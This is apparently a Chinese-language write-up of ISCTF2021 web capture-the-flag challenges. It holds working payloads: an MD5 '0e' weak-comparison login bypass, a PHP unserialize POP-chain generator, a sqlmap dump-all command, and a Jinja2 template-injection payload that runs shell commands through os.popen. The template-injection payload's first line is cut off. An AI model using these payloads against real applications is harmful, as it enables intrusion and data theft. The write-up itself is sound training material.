ISCTF2021

Web签到

题目提示需要查看源码直接抓包查看即可

或者修改url为view-source:http://challenge.imxbt.cn:31843/

view-source:的意思是查看源代码

即可查看源码Ctrl+U也可以,题目只是限制了F12

粗心的小蓝鲨

登录界面随便输入就会得到hint

复制代码
<?php
    if (isset($_POST['username']) && isset($_POST['password'])) {
        $name=$_POST["username"]; 
        $pwd=$_POST["password"];
        $logined = true;
        $flag = 'XXXX';
        include("flag.php");
//检查是否通过 POST 方法提交了 username 和 password
        if (!ctype_alpha($name)) {$logined = false;}
//username 必须全部由 纯字母(A-Z, a-z)组成。如果包含数字、空格或特殊字符,登录失败
        if (!is_numeric($pwd) ) {$logined = false;}
//password 必须是一个 数字 或 数字字符串
        if (md5($name) != md5($pwd)) {$logined = false;}
//弱比较账号和密码的MD5值
        if ($logined){
            echo "<h1>"."login successful"."<p>".$flag;
        }else{
            echo "<h1>"."Login failed"."<p>"."The blue shark mocked you and threw a hint at you"."<p>";
            highlight_file(__FILE__);
        }
    }
?>

我们可以找两个个MD5值都是0e开头的字符串和数字字符串

复制代码
QNKCDZO
0e830400451993494058024219903391
240610708
0e462097431906509019562988736854

即可获取flag

pop_unserialize

复制代码
<?php
//flag.php
//MF师傅告诉我file_get_contents这个函数能输出flag.php里面的内容
error_reporting(0);
class MF_is_cat{
    private $pop = "f00001111";
    public $MF = "miao~ miao~ miao~";
    function __construct(){
        $this->pop =new ISCTF();
    }

    function __destruct(){
        $this->pop->action();
    }
}

class ISCTF{
    function action(){
        echo "Welcome to ISCTF World!";
    }
}

class Show{
    var $test2;
    function action(){
       echo file_get_contents('f'.$this->test2.'g.php');
    }
}


if(isset($_POST['ISCTF'])){
    unserialize($_POST['ISCTF']);
    }else{
    $obj = new MF_is_cat();
    highlight_file(__FILE__);
    }
?>  Welcome to ISCTF World!

<?php
class MF_is_cat{
private $pop = "f00001111";
public $MF = "miao~ miao~ miao~";
function __construct(){
$this->pop =new Show();
}
}
class Show{
public $test2="la";
function action(){
}
}
echo urlencode(serialize(new MF_is_cat()));
?>
//控制 MF_is_cat 类的 $pop 属性,使其成为一个 Show 类的对象
控制 Show 类的 $test2 属性,将其赋值为字符串 "la"
反序列化结束后,PHP 销毁 MF_is_cat 对象,触发 __destruct()
进而调用 Show->action(),执行 file_get_contents('flag.php')

easysql

存在报错注入

直接

复制代码
D:\web\sqlmap-master\sqlmap-master>python sqlmap.py -u "http://challenge.imxbt.cn:31390/login.php?username=admin&password=123" --dump-all

就可以了,就是有点慢

小蜘蛛

提示存在robots.txt

easy flask

看到提示直接查看全局

复制代码
/?id={% for c in ().__class__.__mro__[1].__su
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__=={}.__class__ %}
{% if 'eval' in b.keys() %}
{{b['eval']('__import__("os").popen("grep ISCTF *").read()')}}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

当然也可以直接找

拼图

拼好就给flag

相关推荐
Android小码家17 小时前
Framework之Launcher小窗开发
android·framework·虚拟屏·小窗
赏金术士18 小时前
第七章:状态管理实战与架构总结
android·ui·kotlin·compose
颂love19 小时前
MySQL的执行流程
android·数据库·mysql
云起SAAS1 天前
抖音小游戏源码 - 消消乐 | 含激励广告+成就系统 | 开箱即用商业级消除游戏模板
android·游戏·广告联盟·看激励广告联盟流量主·抖音小游戏源码 - 消消乐
大貔貅喝啤酒1 天前
基于Windows下载安装Android Studio 3.3.2版本教程(2026详细图文版)
android·java·windows·android studio
程序员码歌1 天前
OpenSpec 到 Superpowers:AI 编码从说清到做对
android·前端·人工智能
2501_915106321 天前
深入解析无源码iOS加固原理与方案,保护应用安全
android·安全·ios·小程序·uni-app·cocoa·iphone
黄林晴1 天前
重磅官宣:Android UI 开发正式进入 Compose-first 时代
android·google io
Kapaseker1 天前
搞懂变换!精通 Compose 绘制(二)
android·kotlin
美狐美颜SDK开放平台1 天前
美颜SDK开发详解:如何优化美颜SDK在低端安卓机上的性能?
android·ios·音视频·直播美颜sdk·视频美颜sdk